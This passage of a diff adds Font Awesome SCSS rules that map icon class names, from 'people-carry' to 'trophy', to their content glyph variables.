+.#{$fa-css-prefix}-people-carry:before { content: fa-content($fa-var-people-carry); } +.#{$fa-css-prefix}-pepper-hot:before { content: fa-content($fa-var-pepper-hot); } +.#{$fa-css-prefix}-perbyte:before { content: fa-content($fa-var-perbyte); } +.#{$fa-css-prefix}-percent:before { content: fa-content($fa-var-percent); } +.#{$fa-css-prefix}-percentage:before { content: fa-content($fa-var-percentage); } +.#{$fa-css-prefix}-periscope:before { content: fa-content($fa-var-periscope); } +.#{$fa-css-prefix}-person-booth:before { content: fa-content($fa-var-person-booth); } +.#{$fa-css-prefix}-phabricator:before { content: fa-content($fa-var-phabricator); } +.#{$fa-css-prefix}-phoenix-framework:before { content: fa-content($fa-var-phoenix-framework); } +.#{$fa-css-prefix}-phoenix-squadron:before { content: fa-content($fa-var-phoenix-squadron); } +.#{$fa-css-prefix}-phone:before { content: fa-content($fa-var-phone); } +.#{$fa-css-prefix}-phone-alt:before { content: fa-content($fa-var-phone-alt); } +.#{$fa-css-prefix}-phone-slash:before { content: fa-content($fa-var-phone-slash); } +.#{$fa-css-prefix}-phone-square:before { content: fa-content($fa-var-phone-square); } +.#{$fa-css-prefix}-phone-square-alt:before { content: fa-content($fa-var-phone-square-alt); } +.#{$fa-css-prefix}-phone-volume:before { content: fa-content($fa-var-phone-volume); } +.#{$fa-css-prefix}-photo-video:before { content: fa-content($fa-var-photo-video); } +.#{$fa-css-prefix}-php:before { content: fa-content($fa-var-php); } +.#{$fa-css-prefix}-pied-piper:before { content: fa-content($fa-var-pied-piper); } +.#{$fa-css-prefix}-pied-piper-alt:before { content: fa-content($fa-var-pied-piper-alt); } +.#{$fa-css-prefix}-pied-piper-hat:before { content: fa-content($fa-var-pied-piper-hat); } +.#{$fa-css-prefix}-pied-piper-pp:before { content: fa-content($fa-var-pied-piper-pp); } +.#{$fa-css-prefix}-pied-piper-square:before { content: fa-content($fa-var-pied-piper-square); } +.#{$fa-css-prefix}-piggy-bank:before { content: fa-content($fa-var-piggy-bank); } +.#{$fa-css-prefix}-pills:before { content: fa-content($fa-var-pills); } +.#{$fa-css-prefix}-pinterest:before { content: fa-content($fa-var-pinterest); } +.#{$fa-css-prefix}-pinterest-p:before { content: fa-content($fa-var-pinterest-p); } +.#{$fa-css-prefix}-pinterest-square:before { content: fa-content($fa-var-pinterest-square); } +.#{$fa-css-prefix}-pizza-slice:before { content: fa-content($fa-var-pizza-slice); } +.#{$fa-css-prefix}-place-of-worship:before { content: fa-content($fa-var-place-of-worship); } +.#{$fa-css-prefix}-plane:before { content: fa-content($fa-var-plane); } +.#{$fa-css-prefix}-plane-arrival:before { content: fa-content($fa-var-plane-arrival); } +.#{$fa-css-prefix}-plane-departure:before { content: fa-content($fa-var-plane-departure); } +.#{$fa-css-prefix}-plane-slash:before { content: fa-content($fa-var-plane-slash); } +.#{$fa-css-prefix}-play:before { content: fa-content($fa-var-play); } +.#{$fa-css-prefix}-play-circle:before { content: fa-content($fa-var-play-circle); } +.#{$fa-css-prefix}-playstation:before { content: fa-content($fa-var-playstation); } +.#{$fa-css-prefix}-plug:before { content: fa-content($fa-var-plug); } +.#{$fa-css-prefix}-plus:before { content: fa-content($fa-var-plus); } +.#{$fa-css-prefix}-plus-circle:before { content: fa-content($fa-var-plus-circle); } +.#{$fa-css-prefix}-plus-square:before { content: fa-content($fa-var-plus-square); } +.#{$fa-css-prefix}-podcast:before { content: fa-content($fa-var-podcast); } +.#{$fa-css-prefix}-poll:before { content: fa-content($fa-var-poll); } +.#{$fa-css-prefix}-poll-h:before { content: fa-content($fa-var-poll-h); } +.#{$fa-css-prefix}-poo:before { content: fa-content($fa-var-poo); } +.#{$fa-css-prefix}-poo-storm:before { content: fa-content($fa-var-poo-storm); } +.#{$fa-css-prefix}-poop:before { content: fa-content($fa-var-poop); } +.#{$fa-css-prefix}-portrait:before { content: fa-content($fa-var-portrait); } +.#{$fa-css-prefix}-pound-sign:before { content: fa-content($fa-var-pound-sign); } +.#{$fa-css-prefix}-power-off:before { content: fa-content($fa-var-power-off); } +.#{$fa-css-prefix}-pray:before { content: fa-content($fa-var-pray); } +.#{$fa-css-prefix}-praying-hands:before { content: fa-content($fa-var-praying-hands); } +.#{$fa-css-prefix}-prescription:before { content: fa-content($fa-var-prescription); } +.#{$fa-css-prefix}-prescription-bottle:before { content: fa-content($fa-var-prescription-bottle); } +.#{$fa-css-prefix}-prescription-bottle-alt:before { content: fa-content($fa-var-prescription-bottle-alt); } +.#{$fa-css-prefix}-print:before { content: fa-content($fa-var-print); } +.#{$fa-css-prefix}-procedures:before { content: fa-content($fa-var-procedures); } +.#{$fa-css-prefix}-product-hunt:before { content: fa-content($fa-var-product-hunt); } +.#{$fa-css-prefix}-project-diagram:before { content: fa-content($fa-var-project-diagram); } +.#{$fa-css-prefix}-pump-medical:before { content: fa-content($fa-var-pump-medical); } +.#{$fa-css-prefix}-pump-soap:before { content: fa-content($fa-var-pump-soap); } +.#{$fa-css-prefix}-pushed:before { content: fa-content($fa-var-pushed); } +.#{$fa-css-prefix}-puzzle-piece:before { content: fa-content($fa-var-puzzle-piece); } +.#{$fa-css-prefix}-python:before { content: fa-content($fa-var-python); } +.#{$fa-css-prefix}-qq:before { content: fa-content($fa-var-qq); } +.#{$fa-css-prefix}-qrcode:before { content: fa-content($fa-var-qrcode); } +.#{$fa-css-prefix}-question:before { content: fa-content($fa-var-question); } +.#{$fa-css-prefix}-question-circle:before { content: fa-content($fa-var-question-circle); } +.#{$fa-css-prefix}-quidditch:before { content: fa-content($fa-var-quidditch); } +.#{$fa-css-prefix}-quinscape:before { content: fa-content($fa-var-quinscape); } +.#{$fa-css-prefix}-quora:before { content: fa-content($fa-var-quora); } +.#{$fa-css-prefix}-quote-left:before { content: fa-content($fa-var-quote-left); } +.#{$fa-css-prefix}-quote-right:before { content: fa-content($fa-var-quote-right); } +.#{$fa-css-prefix}-quran:before { content: fa-content($fa-var-quran); } +.#{$fa-css-prefix}-r-project:before { content: fa-content($fa-var-r-project); } +.#{$fa-css-prefix}-radiation:before { content: fa-content($fa-var-radiation); } +.#{$fa-css-prefix}-radiation-alt:before { content: fa-content($fa-var-radiation-alt); } +.#{$fa-css-prefix}-rainbow:before { content: fa-content($fa-var-rainbow); } +.#{$fa-css-prefix}-random:before { content: fa-content($fa-var-random); } +.#{$fa-css-prefix}-raspberry-pi:before { content: fa-content($fa-var-raspberry-pi); } +.#{$fa-css-prefix}-ravelry:before { content: fa-content($fa-var-ravelry); } +.#{$fa-css-prefix}-react:before { content: fa-content($fa-var-react); } +.#{$fa-css-prefix}-reacteurope:before { content: fa-content($fa-var-reacteurope); } +.#{$fa-css-prefix}-readme:before { content: fa-content($fa-var-readme); } +.#{$fa-css-prefix}-rebel:before { content: fa-content($fa-var-rebel); } +.#{$fa-css-prefix}-receipt:before { content: fa-content($fa-var-receipt); } +.#{$fa-css-prefix}-record-vinyl:before { content: fa-content($fa-var-record-vinyl); } +.#{$fa-css-prefix}-recycle:before { content: fa-content($fa-var-recycle); } +.#{$fa-css-prefix}-red-river:before { content: fa-content($fa-var-red-river); } +.#{$fa-css-prefix}-reddit:before { content: fa-content($fa-var-reddit); } +.#{$fa-css-prefix}-reddit-alien:before { content: fa-content($fa-var-reddit-alien); } +.#{$fa-css-prefix}-reddit-square:before { content: fa-content($fa-var-reddit-square); } +.#{$fa-css-prefix}-redhat:before { content: fa-content($fa-var-redhat); } +.#{$fa-css-prefix}-redo:before { content: fa-content($fa-var-redo); } +.#{$fa-css-prefix}-redo-alt:before { content: fa-content($fa-var-redo-alt); } +.#{$fa-css-prefix}-registered:before { content: fa-content($fa-var-registered); } +.#{$fa-css-prefix}-remove-format:before { content: fa-content($fa-var-remove-format); } +.#{$fa-css-prefix}-renren:before { content: fa-content($fa-var-renren); } +.#{$fa-css-prefix}-reply:before { content: fa-content($fa-var-reply); } +.#{$fa-css-prefix}-reply-all:before { content: fa-content($fa-var-reply-all); } +.#{$fa-css-prefix}-replyd:before { content: fa-content($fa-var-replyd); } +.#{$fa-css-prefix}-republican:before { content: fa-content($fa-var-republican); } +.#{$fa-css-prefix}-researchgate:before { content: fa-content($fa-var-researchgate); } +.#{$fa-css-prefix}-resolving:before { content: fa-content($fa-var-resolving); } +.#{$fa-css-prefix}-restroom:before { content: fa-content($fa-var-restroom); } +.#{$fa-css-prefix}-retweet:before { content: fa-content($fa-var-retweet); } +.#{$fa-css-prefix}-rev:before { content: fa-content($fa-var-rev); } +.#{$fa-css-prefix}-ribbon:before { content: fa-content($fa-var-ribbon); } +.#{$fa-css-prefix}-ring:before { content: fa-content($fa-var-ring); } +.#{$fa-css-prefix}-road:before { content: fa-content($fa-var-road); } +.#{$fa-css-prefix}-robot:before { content: fa-content($fa-var-robot); } +.#{$fa-css-prefix}-rocket:before { content: fa-content($fa-var-rocket); } +.#{$fa-css-prefix}-rocketchat:before { content: fa-content($fa-var-rocketchat); } +.#{$fa-css-prefix}-rockrms:before { content: fa-content($fa-var-rockrms); } +.#{$fa-css-prefix}-route:before { content: fa-content($fa-var-route); } +.#{$fa-css-prefix}-rss:before { content: fa-content($fa-var-rss); } +.#{$fa-css-prefix}-rss-square:before { content: fa-content($fa-var-rss-square); } +.#{$fa-css-prefix}-ruble-sign:before { content: fa-content($fa-var-ruble-sign); } +.#{$fa-css-prefix}-ruler:before { content: fa-content($fa-var-ruler); } +.#{$fa-css-prefix}-ruler-combined:before { content: fa-content($fa-var-ruler-combined); } +.#{$fa-css-prefix}-ruler-horizontal:before { content: fa-content($fa-var-ruler-horizontal); } +.#{$fa-css-prefix}-ruler-vertical:before { content: fa-content($fa-var-ruler-vertical); } +.#{$fa-css-prefix}-running:before { content: fa-content($fa-var-running); } +.#{$fa-css-prefix}-rupee-sign:before { content: fa-content($fa-var-rupee-sign); } +.#{$fa-css-prefix}-rust:before { content: fa-content($fa-var-rust); } +.#{$fa-css-prefix}-sad-cry:before { content: fa-content($fa-var-sad-cry); } +.#{$fa-css-prefix}-sad-tear:before { content: fa-content($fa-var-sad-tear); } +.#{$fa-css-prefix}-safari:before { content: fa-content($fa-var-safari); } +.#{$fa-css-prefix}-salesforce:before { content: fa-content($fa-var-salesforce); } +.#{$fa-css-prefix}-sass:before { content: fa-content($fa-var-sass); } +.#{$fa-css-prefix}-satellite:before { content: fa-content($fa-var-satellite); } +.#{$fa-css-prefix}-satellite-dish:before { content: fa-content($fa-var-satellite-dish); } +.#{$fa-css-prefix}-save:before { content: fa-content($fa-var-save); } +.#{$fa-css-prefix}-schlix:before { content: fa-content($fa-var-schlix); } +.#{$fa-css-prefix}-school:before { content: fa-content($fa-var-school); } +.#{$fa-css-prefix}-screwdriver:before { content: fa-content($fa-var-screwdriver); } +.#{$fa-css-prefix}-scribd:before { content: fa-content($fa-var-scribd); } +.#{$fa-css-prefix}-scroll:before { content: fa-content($fa-var-scroll); } +.#{$fa-css-prefix}-sd-card:before { content: fa-content($fa-var-sd-card); } +.#{$fa-css-prefix}-search:before { content: fa-content($fa-var-search); } +.#{$fa-css-prefix}-search-dollar:before { content: fa-content($fa-var-search-dollar); } +.#{$fa-css-prefix}-search-location:before { content: fa-content($fa-var-search-location); } +.#{$fa-css-prefix}-search-minus:before { content: fa-content($fa-var-search-minus); } +.#{$fa-css-prefix}-search-plus:before { content: fa-content($fa-var-search-plus); } +.#{$fa-css-prefix}-searchengin:before { content: fa-content($fa-var-searchengin); } +.#{$fa-css-prefix}-seedling:before { content: fa-content($fa-var-seedling); } +.#{$fa-css-prefix}-sellcast:before { content: fa-content($fa-var-sellcast); } +.#{$fa-css-prefix}-sellsy:before { content: fa-content($fa-var-sellsy); } +.#{$fa-css-prefix}-server:before { content: fa-content($fa-var-server); } +.#{$fa-css-prefix}-servicestack:before { content: fa-content($fa-var-servicestack); } +.#{$fa-css-prefix}-shapes:before { content: fa-content($fa-var-shapes); } +.#{$fa-css-prefix}-share:before { content: fa-content($fa-var-share); } +.#{$fa-css-prefix}-share-alt:before { content: fa-content($fa-var-share-alt); } +.#{$fa-css-prefix}-share-alt-square:before { content: fa-content($fa-var-share-alt-square); } +.#{$fa-css-prefix}-share-square:before { content: fa-content($fa-var-share-square); } +.#{$fa-css-prefix}-shekel-sign:before { content: fa-content($fa-var-shekel-sign); } +.#{$fa-css-prefix}-shield-alt:before { content: fa-content($fa-var-shield-alt); } +.#{$fa-css-prefix}-shield-virus:before { content: fa-content($fa-var-shield-virus); } +.#{$fa-css-prefix}-ship:before { content: fa-content($fa-var-ship); } +.#{$fa-css-prefix}-shipping-fast:before { content: fa-content($fa-var-shipping-fast); } +.#{$fa-css-prefix}-shirtsinbulk:before { content: fa-content($fa-var-shirtsinbulk); } +.#{$fa-css-prefix}-shoe-prints:before { content: fa-content($fa-var-shoe-prints); } +.#{$fa-css-prefix}-shopify:before { content: fa-content($fa-var-shopify); } +.#{$fa-css-prefix}-shopping-bag:before { content: fa-content($fa-var-shopping-bag); } +.#{$fa-css-prefix}-shopping-basket:before { content: fa-content($fa-var-shopping-basket); } +.#{$fa-css-prefix}-shopping-cart:before { content: fa-content($fa-var-shopping-cart); } +.#{$fa-css-prefix}-shopware:before { content: fa-content($fa-var-shopware); } +.#{$fa-css-prefix}-shower:before { content: fa-content($fa-var-shower); } +.#{$fa-css-prefix}-shuttle-van:before { content: fa-content($fa-var-shuttle-van); } +.#{$fa-css-prefix}-sign:before { content: fa-content($fa-var-sign); } +.#{$fa-css-prefix}-sign-in-alt:before { content: fa-content($fa-var-sign-in-alt); } +.#{$fa-css-prefix}-sign-language:before { content: fa-content($fa-var-sign-language); } +.#{$fa-css-prefix}-sign-out-alt:before { content: fa-content($fa-var-sign-out-alt); } +.#{$fa-css-prefix}-signal:before { content: fa-content($fa-var-signal); } +.#{$fa-css-prefix}-signature:before { content: fa-content($fa-var-signature); } +.#{$fa-css-prefix}-sim-card:before { content: fa-content($fa-var-sim-card); } +.#{$fa-css-prefix}-simplybuilt:before { content: fa-content($fa-var-simplybuilt); } +.#{$fa-css-prefix}-sink:before { content: fa-content($fa-var-sink); } +.#{$fa-css-prefix}-sistrix:before { content: fa-content($fa-var-sistrix); } +.#{$fa-css-prefix}-sitemap:before { content: fa-content($fa-var-sitemap); } +.#{$fa-css-prefix}-sith:before { content: fa-content($fa-var-sith); } +.#{$fa-css-prefix}-skating:before { content: fa-content($fa-var-skating); } +.#{$fa-css-prefix}-sketch:before { content: fa-content($fa-var-sketch); } +.#{$fa-css-prefix}-skiing:before { content: fa-content($fa-var-skiing); } +.#{$fa-css-prefix}-skiing-nordic:before { content: fa-content($fa-var-skiing-nordic); } +.#{$fa-css-prefix}-skull:before { content: fa-content($fa-var-skull); } +.#{$fa-css-prefix}-skull-crossbones:before { content: fa-content($fa-var-skull-crossbones); } +.#{$fa-css-prefix}-skyatlas:before { content: fa-content($fa-var-skyatlas); } +.#{$fa-css-prefix}-skype:before { content: fa-content($fa-var-skype); } +.#{$fa-css-prefix}-slack:before { content: fa-content($fa-var-slack); } +.#{$fa-css-prefix}-slack-hash:before { content: fa-content($fa-var-slack-hash); } +.#{$fa-css-prefix}-slash:before { content: fa-content($fa-var-slash); } +.#{$fa-css-prefix}-sleigh:before { content: fa-content($fa-var-sleigh); } +.#{$fa-css-prefix}-sliders-h:before { content: fa-content($fa-var-sliders-h); } +.#{$fa-css-prefix}-slideshare:before { content: fa-content($fa-var-slideshare); } +.#{$fa-css-prefix}-smile:before { content: fa-content($fa-var-smile); } +.#{$fa-css-prefix}-smile-beam:before { content: fa-content($fa-var-smile-beam); } +.#{$fa-css-prefix}-smile-wink:before { content: fa-content($fa-var-smile-wink); } +.#{$fa-css-prefix}-smog:before { content: fa-content($fa-var-smog); } +.#{$fa-css-prefix}-smoking:before { content: fa-content($fa-var-smoking); } +.#{$fa-css-prefix}-smoking-ban:before { content: fa-content($fa-var-smoking-ban); } +.#{$fa-css-prefix}-sms:before { content: fa-content($fa-var-sms); } +.#{$fa-css-prefix}-snapchat:before { content: fa-content($fa-var-snapchat); } +.#{$fa-css-prefix}-snapchat-ghost:before { content: fa-content($fa-var-snapchat-ghost); } +.#{$fa-css-prefix}-snapchat-square:before { content: fa-content($fa-var-snapchat-square); } +.#{$fa-css-prefix}-snowboarding:before { content: fa-content($fa-var-snowboarding); } +.#{$fa-css-prefix}-snowflake:before { content: fa-content($fa-var-snowflake); } +.#{$fa-css-prefix}-snowman:before { content: fa-content($fa-var-snowman); } +.#{$fa-css-prefix}-snowplow:before { content: fa-content($fa-var-snowplow); } +.#{$fa-css-prefix}-soap:before { content: fa-content($fa-var-soap); } +.#{$fa-css-prefix}-socks:before { content: fa-content($fa-var-socks); } +.#{$fa-css-prefix}-solar-panel:before { content: fa-content($fa-var-solar-panel); } +.#{$fa-css-prefix}-sort:before { content: fa-content($fa-var-sort); } +.#{$fa-css-prefix}-sort-alpha-down:before { content: fa-content($fa-var-sort-alpha-down); } +.#{$fa-css-prefix}-sort-alpha-down-alt:before { content: fa-content($fa-var-sort-alpha-down-alt); } +.#{$fa-css-prefix}-sort-alpha-up:before { content: fa-content($fa-var-sort-alpha-up); } +.#{$fa-css-prefix}-sort-alpha-up-alt:before { content: fa-content($fa-var-sort-alpha-up-alt); } +.#{$fa-css-prefix}-sort-amount-down:before { content: fa-content($fa-var-sort-amount-down); } +.#{$fa-css-prefix}-sort-amount-down-alt:before { content: fa-content($fa-var-sort-amount-down-alt); } +.#{$fa-css-prefix}-sort-amount-up:before { content: fa-content($fa-var-sort-amount-up); } +.#{$fa-css-prefix}-sort-amount-up-alt:before { content: fa-content($fa-var-sort-amount-up-alt); } +.#{$fa-css-prefix}-sort-down:before { content: fa-content($fa-var-sort-down); } +.#{$fa-css-prefix}-sort-numeric-down:before { content: fa-content($fa-var-sort-numeric-down); } +.#{$fa-css-prefix}-sort-numeric-down-alt:before { content: fa-content($fa-var-sort-numeric-down-alt); } +.#{$fa-css-prefix}-sort-numeric-up:before { content: fa-content($fa-var-sort-numeric-up); } +.#{$fa-css-prefix}-sort-numeric-up-alt:before { content: fa-content($fa-var-sort-numeric-up-alt); } +.#{$fa-css-prefix}-sort-up:before { content: fa-content($fa-var-sort-up); } +.#{$fa-css-prefix}-soundcloud:before { content: fa-content($fa-var-soundcloud); } +.#{$fa-css-prefix}-sourcetree:before { content: fa-content($fa-var-sourcetree); } +.#{$fa-css-prefix}-spa:before { content: fa-content($fa-var-spa); } +.#{$fa-css-prefix}-space-shuttle:before { content: fa-content($fa-var-space-shuttle); } +.#{$fa-css-prefix}-speakap:before { content: fa-content($fa-var-speakap); } +.#{$fa-css-prefix}-speaker-deck:before { content: fa-content($fa-var-speaker-deck); } +.#{$fa-css-prefix}-spell-check:before { content: fa-content($fa-var-spell-check); } +.#{$fa-css-prefix}-spider:before { content: fa-content($fa-var-spider); } +.#{$fa-css-prefix}-spinner:before { content: fa-content($fa-var-spinner); } +.#{$fa-css-prefix}-splotch:before { content: fa-content($fa-var-splotch); } +.#{$fa-css-prefix}-spotify:before { content: fa-content($fa-var-spotify); } +.#{$fa-css-prefix}-spray-can:before { content: fa-content($fa-var-spray-can); } +.#{$fa-css-prefix}-square:before { content: fa-content($fa-var-square); } +.#{$fa-css-prefix}-square-full:before { content: fa-content($fa-var-square-full); } +.#{$fa-css-prefix}-square-root-alt:before { content: fa-content($fa-var-square-root-alt); } +.#{$fa-css-prefix}-squarespace:before { content: fa-content($fa-var-squarespace); } +.#{$fa-css-prefix}-stack-exchange:before { content: fa-content($fa-var-stack-exchange); } +.#{$fa-css-prefix}-stack-overflow:before { content: fa-content($fa-var-stack-overflow); } +.#{$fa-css-prefix}-stackpath:before { content: fa-content($fa-var-stackpath); } +.#{$fa-css-prefix}-stamp:before { content: fa-content($fa-var-stamp); } +.#{$fa-css-prefix}-star:before { content: fa-content($fa-var-star); } +.#{$fa-css-prefix}-star-and-crescent:before { content: fa-content($fa-var-star-and-crescent); } +.#{$fa-css-prefix}-star-half:before { content: fa-content($fa-var-star-half); } +.#{$fa-css-prefix}-star-half-alt:before { content: fa-content($fa-var-star-half-alt); } +.#{$fa-css-prefix}-star-of-david:before { content: fa-content($fa-var-star-of-david); } +.#{$fa-css-prefix}-star-of-life:before { content: fa-content($fa-var-star-of-life); } +.#{$fa-css-prefix}-staylinked:before { content: fa-content($fa-var-staylinked); } +.#{$fa-css-prefix}-steam:before { content: fa-content($fa-var-steam); } +.#{$fa-css-prefix}-steam-square:before { content: fa-content($fa-var-steam-square); } +.#{$fa-css-prefix}-steam-symbol:before { content: fa-content($fa-var-steam-symbol); } +.#{$fa-css-prefix}-step-backward:before { content: fa-content($fa-var-step-backward); } +.#{$fa-css-prefix}-step-forward:before { content: fa-content($fa-var-step-forward); } +.#{$fa-css-prefix}-stethoscope:before { content: fa-content($fa-var-stethoscope); } +.#{$fa-css-prefix}-sticker-mule:before { content: fa-content($fa-var-sticker-mule); } +.#{$fa-css-prefix}-sticky-note:before { content: fa-content($fa-var-sticky-note); } +.#{$fa-css-prefix}-stop:before { content: fa-content($fa-var-stop); } +.#{$fa-css-prefix}-stop-circle:before { content: fa-content($fa-var-stop-circle); } +.#{$fa-css-prefix}-stopwatch:before { content: fa-content($fa-var-stopwatch); } +.#{$fa-css-prefix}-stopwatch-20:before { content: fa-content($fa-var-stopwatch-20); } +.#{$fa-css-prefix}-store:before { content: fa-content($fa-var-store); } +.#{$fa-css-prefix}-store-alt:before { content: fa-content($fa-var-store-alt); } +.#{$fa-css-prefix}-store-alt-slash:before { content: fa-content($fa-var-store-alt-slash); } +.#{$fa-css-prefix}-store-slash:before { content: fa-content($fa-var-store-slash); } +.#{$fa-css-prefix}-strava:before { content: fa-content($fa-var-strava); } +.#{$fa-css-prefix}-stream:before { content: fa-content($fa-var-stream); } +.#{$fa-css-prefix}-street-view:before { content: fa-content($fa-var-street-view); } +.#{$fa-css-prefix}-strikethrough:before { content: fa-content($fa-var-strikethrough); } +.#{$fa-css-prefix}-stripe:before { content: fa-content($fa-var-stripe); } +.#{$fa-css-prefix}-stripe-s:before { content: fa-content($fa-var-stripe-s); } +.#{$fa-css-prefix}-stroopwafel:before { content: fa-content($fa-var-stroopwafel); } +.#{$fa-css-prefix}-studiovinari:before { content: fa-content($fa-var-studiovinari); } +.#{$fa-css-prefix}-stumbleupon:before { content: fa-content($fa-var-stumbleupon); } +.#{$fa-css-prefix}-stumbleupon-circle:before { content: fa-content($fa-var-stumbleupon-circle); } +.#{$fa-css-prefix}-subscript:before { content: fa-content($fa-var-subscript); } +.#{$fa-css-prefix}-subway:before { content: fa-content($fa-var-subway); } +.#{$fa-css-prefix}-suitcase:before { content: fa-content($fa-var-suitcase); } +.#{$fa-css-prefix}-suitcase-rolling:before { content: fa-content($fa-var-suitcase-rolling); } +.#{$fa-css-prefix}-sun:before { content: fa-content($fa-var-sun); } +.#{$fa-css-prefix}-superpowers:before { content: fa-content($fa-var-superpowers); } +.#{$fa-css-prefix}-superscript:before { content: fa-content($fa-var-superscript); } +.#{$fa-css-prefix}-supple:before { content: fa-content($fa-var-supple); } +.#{$fa-css-prefix}-surprise:before { content: fa-content($fa-var-surprise); } +.#{$fa-css-prefix}-suse:before { content: fa-content($fa-var-suse); } +.#{$fa-css-prefix}-swatchbook:before { content: fa-content($fa-var-swatchbook); } +.#{$fa-css-prefix}-swift:before { content: fa-content($fa-var-swift); } +.#{$fa-css-prefix}-swimmer:before { content: fa-content($fa-var-swimmer); } +.#{$fa-css-prefix}-swimming-pool:before { content: fa-content($fa-var-swimming-pool); } +.#{$fa-css-prefix}-symfony:before { content: fa-content($fa-var-symfony); } +.#{$fa-css-prefix}-synagogue:before { content: fa-content($fa-var-synagogue); } +.#{$fa-css-prefix}-sync:before { content: fa-content($fa-var-sync); } +.#{$fa-css-prefix}-sync-alt:before { content: fa-content($fa-var-sync-alt); } +.#{$fa-css-prefix}-syringe:before { content: fa-content($fa-var-syringe); } +.#{$fa-css-prefix}-table:before { content: fa-content($fa-var-table); } +.#{$fa-css-prefix}-table-tennis:before { content: fa-content($fa-var-table-tennis); } +.#{$fa-css-prefix}-tablet:before { content: fa-content($fa-var-tablet); } +.#{$fa-css-prefix}-tablet-alt:before { content: fa-content($fa-var-tablet-alt); } +.#{$fa-css-prefix}-tablets:before { content: fa-content($fa-var-tablets); } +.#{$fa-css-prefix}-tachometer-alt:before { content: fa-content($fa-var-tachometer-alt); } +.#{$fa-css-prefix}-tag:before { content: fa-content($fa-var-tag); } +.#{$fa-css-prefix}-tags:before { content: fa-content($fa-var-tags); } +.#{$fa-css-prefix}-tape:before { content: fa-content($fa-var-tape); } +.#{$fa-css-prefix}-tasks:before { content: fa-content($fa-var-tasks); } +.#{$fa-css-prefix}-taxi:before { content: fa-content($fa-var-taxi); } +.#{$fa-css-prefix}-teamspeak:before { content: fa-content($fa-var-teamspeak); } +.#{$fa-css-prefix}-teeth:before { content: fa-content($fa-var-teeth); } +.#{$fa-css-prefix}-teeth-open:before { content: fa-content($fa-var-teeth-open); } +.#{$fa-css-prefix}-telegram:before { content: fa-content($fa-var-telegram); } +.#{$fa-css-prefix}-telegram-plane:before { content: fa-content($fa-var-telegram-plane); } +.#{$fa-css-prefix}-temperature-high:before { content: fa-content($fa-var-temperature-high); } +.#{$fa-css-prefix}-temperature-low:before { content: fa-content($fa-var-temperature-low); } +.#{$fa-css-prefix}-tencent-weibo:before { content: fa-content($fa-var-tencent-weibo); } +.#{$fa-css-prefix}-tenge:before { content: fa-content($fa-var-tenge); } +.#{$fa-css-prefix}-terminal:before { content: fa-content($fa-var-terminal); } +.#{$fa-css-prefix}-text-height:before { content: fa-content($fa-var-text-height); } +.#{$fa-css-prefix}-text-width:before { content: fa-content($fa-var-text-width); } +.#{$fa-css-prefix}-th:before { content: fa-content($fa-var-th); } +.#{$fa-css-prefix}-th-large:before { content: fa-content($fa-var-th-large); } +.#{$fa-css-prefix}-th-list:before { content: fa-content($fa-var-th-list); } +.#{$fa-css-prefix}-the-red-yeti:before { content: fa-content($fa-var-the-red-yeti); } +.#{$fa-css-prefix}-theater-masks:before { content: fa-content($fa-var-theater-masks); } +.#{$fa-css-prefix}-themeco:before { content: fa-content($fa-var-themeco); } +.#{$fa-css-prefix}-themeisle:before { content: fa-content($fa-var-themeisle); } +.#{$fa-css-prefix}-thermometer:before { content: fa-content($fa-var-thermometer); } +.#{$fa-css-prefix}-thermometer-empty:before { content: fa-content($fa-var-thermometer-empty); } +.#{$fa-css-prefix}-thermometer-full:before { content: fa-content($fa-var-thermometer-full); } +.#{$fa-css-prefix}-thermometer-half:before { content: fa-content($fa-var-thermometer-half); } +.#{$fa-css-prefix}-thermometer-quarter:before { content: fa-content($fa-var-thermometer-quarter); } +.#{$fa-css-prefix}-thermometer-three-quarters:before { content: fa-content($fa-var-thermometer-three-quarters); } +.#{$fa-css-prefix}-think-peaks:before { content: fa-content($fa-var-think-peaks); } +.#{$fa-css-prefix}-thumbs-down:before { content: fa-content($fa-var-thumbs-down); } +.#{$fa-css-prefix}-thumbs-up:before { content: fa-content($fa-var-thumbs-up); } +.#{$fa-css-prefix}-thumbtack:before { content: fa-content($fa-var-thumbtack); } +.#{$fa-css-prefix}-ticket-alt:before { content: fa-content($fa-var-ticket-alt); } +.#{$fa-css-prefix}-tiktok:before { content: fa-content($fa-var-tiktok); } +.#{$fa-css-prefix}-times:before { content: fa-content($fa-var-times); } +.#{$fa-css-prefix}-times-circle:before { content: fa-content($fa-var-times-circle); } +.#{$fa-css-prefix}-tint:before { content: fa-content($fa-var-tint); } +.#{$fa-css-prefix}-tint-slash:before { content: fa-content($fa-var-tint-slash); } +.#{$fa-css-prefix}-tired:before { content: fa-content($fa-var-tired); } +.#{$fa-css-prefix}-toggle-off:before { content: fa-content($fa-var-toggle-off); } +.#{$fa-css-prefix}-toggle-on:before { content: fa-content($fa-var-toggle-on); } +.#{$fa-css-prefix}-toilet:before { content: fa-content($fa-var-toilet); } +.#{$fa-css-prefix}-toilet-paper:before { content: fa-content($fa-var-toilet-paper); } +.#{$fa-css-prefix}-toilet-paper-slash:before { content: fa-content($fa-var-toilet-paper-slash); } +.#{$fa-css-prefix}-toolbox:before { content: fa-content($fa-var-toolbox); } +.#{$fa-css-prefix}-tools:before { content: fa-content($fa-var-tools); } +.#{$fa-css-prefix}-tooth:before { content: fa-content($fa-var-tooth); } +.#{$fa-css-prefix}-torah:before { content: fa-content($fa-var-torah); } +.#{$fa-css-prefix}-torii-gate:before { content: fa-content($fa-var-torii-gate); } +.#{$fa-css-prefix}-tractor:before { content: fa-content($fa-var-tractor); } +.#{$fa-css-prefix}-trade-federation:before { content: fa-content($fa-var-trade-federation); } +.#{$fa-css-prefix}-trademark:before { content: fa-content($fa-var-trademark); } +.#{$fa-css-prefix}-traffic-light:before { content: fa-content($fa-var-traffic-light); } +.#{$fa-css-prefix}-trailer:before { content: fa-content($fa-var-trailer); } +.#{$fa-css-prefix}-train:before { content: fa-content($fa-var-train); } +.#{$fa-css-prefix}-tram:before { content: fa-content($fa-var-tram); } +.#{$fa-css-prefix}-transgender:before { content: fa-content($fa-var-transgender); } +.#{$fa-css-prefix}-transgender-alt:before { content: fa-content($fa-var-transgender-alt); } +.#{$fa-css-prefix}-trash:before { content: fa-content($fa-var-trash); } +.#{$fa-css-prefix}-trash-alt:before { content: fa-content($fa-var-trash-alt); } +.#{$fa-css-prefix}-trash-restore:before { content: fa-content($fa-var-trash-restore); } +.#{$fa-css-prefix}-trash-restore-alt:before { content: fa-content($fa-var-trash-restore-alt); } +.#{$fa-css-prefix}-tree:before { content: fa-content($fa-var-tree); } +.#{$fa-css-prefix}-trello:before { content: fa-content($fa-var-trello); } +.#{$fa-css-prefix}-trophy:before { content: fa-content($fa-var-trophy); } 